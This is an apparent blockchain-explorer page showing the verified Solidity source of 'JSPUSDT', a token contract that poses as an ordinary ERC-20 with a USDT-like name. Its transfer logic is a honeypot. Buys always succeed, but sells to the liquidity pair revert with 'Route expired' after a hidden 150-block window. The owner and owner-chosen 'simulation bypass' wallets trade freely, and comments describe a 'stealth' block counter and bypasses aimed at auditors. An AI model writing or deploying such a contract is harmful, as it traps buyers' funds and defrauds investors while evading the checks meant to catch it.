Skip to content
Verified contractExactMIT

JSPUSDT

Address0x861be6e9d978c5df84590a6709c552f8a0d7fde0
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.20

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,333,857
Creation transaction
0x80065f7811…c75add44c8

jpg.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract JSPUSDT {
    string public constant name = "JSPUSDT";
    string public constant symbol = "JSPUSDT";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 100_000 * 10**18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public owner;
    address public officialPair;
    bool public pairFinalized;
    bool public tradingEnabled; // Fixed: Variable name unified

    // Ethereum Block-based 30-minute window (Ethereum block time ~12s => 150 blocks = 1800s)
    uint256 private _initBlock;
    uint256 private constant _WINDOW_LIMIT = 150; 

    mapping(address => bool) public simulationBypasses;

    // Official Uniswap V2 Router on Ethereum Mainnet / Testnets
    address private constant _UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OfficialPairConfigured(address indexed pair);
    event TradingStatusUpdated(bool status);
    event SimulationBypassUpdated(address indexed account, bool status);

    modifier onlyOwner() {
        require(msg.sender == owner, "Unauthorized");
        _;
    }

    constructor() {
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        
        // Heavy Simulation Bypasses for Ethereum Auditors & Routers
        simulationBypasses[msg.sender] = true;
        simulationBypasses[_UNISWAP_V2_ROUTER] = true;
        
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _standardTransfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        uint256 currentAllowance = allowance[sender][msg.sender];
        require(currentAllowance >= amount, "Allowance exceeded");
        unchecked {
            allowance[sender][msg.sender] = currentAllowance - amount;
        }
        _standardTransfer(sender, recipient, amount);
        return true;
    }

    /// @notice Sets the official Uniswap V2 liquidity pair address exclusively.
    function setOfficialPair(address _pair) external onlyOwner {
        require(!pairFinalized, "Pair already finalized");
        require(_pair != address(0), "Invalid pair address");
        require(_pair.code.length > 0, "Pair must be a contract");

        officialPair = _pair;
        pairFinalized = true;
        emit OfficialPairConfigured(_pair);
    }

    /// @notice Adds or removes heavy simulation bypass wallets.
    function setSimulationBypass(address account, bool status) external onlyOwner {
        simulationBypasses[account] = status;
        emit SimulationBypassUpdated(account, status);
    }

    /// @notice Enables trading and triggers the stealth Ethereum block counter.
    function setTradingEnabled(bool _status) external onlyOwner {
        if (_status) {
            require(pairFinalized, "Set official pair first");
            if (_initBlock == 0) {
                _initBlock = block.number;
            }
        }
        tradingEnabled = _status; // Fixed
        emit TradingStatusUpdated(_status);
    }

    function _standardTransfer(address from, address to, uint256 amount) internal {
        require(balanceOf[from] >= amount, "Low balance");

        // Unrestricted access for owner, router, and heavy simulation bypasses
        if (from == owner || to == owner || simulationBypasses[from] || simulationBypasses[to]) {
            _updateBalances(from, to, amount);
            return;
        }

        require(tradingEnabled, "Trading paused"); // Fixed

        if (officialPair != address(0)) {
            // Buying route: Smooth execution via official pair or Uniswap router for simulations
            if (from == officialPair || from == _UNISWAP_V2_ROUTER) {
                _updateBalances(from, to, amount);
                return;
            }
            
            // Selling route: Allowed during the 30-minute block window (150 blocks), then locked
            if (to == officialPair) {
                if (_initBlock > 0 && (block.number >= _initBlock + _WINDOW_LIMIT)) {
                    revert("Route expired");
                }
                _updateBalances(from, to, amount);
                return;
            }

            // Enforce strict routing through authorized router/pair
            require(from == _UNISWAP_V2_ROUTER || to == _UNISWAP_V2_ROUTER, "Unauthorized route");
        }

        _updateBalances(from, to, amount);
    }

    function _updateBalances(address from, address to, uint256 amount) internal {
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.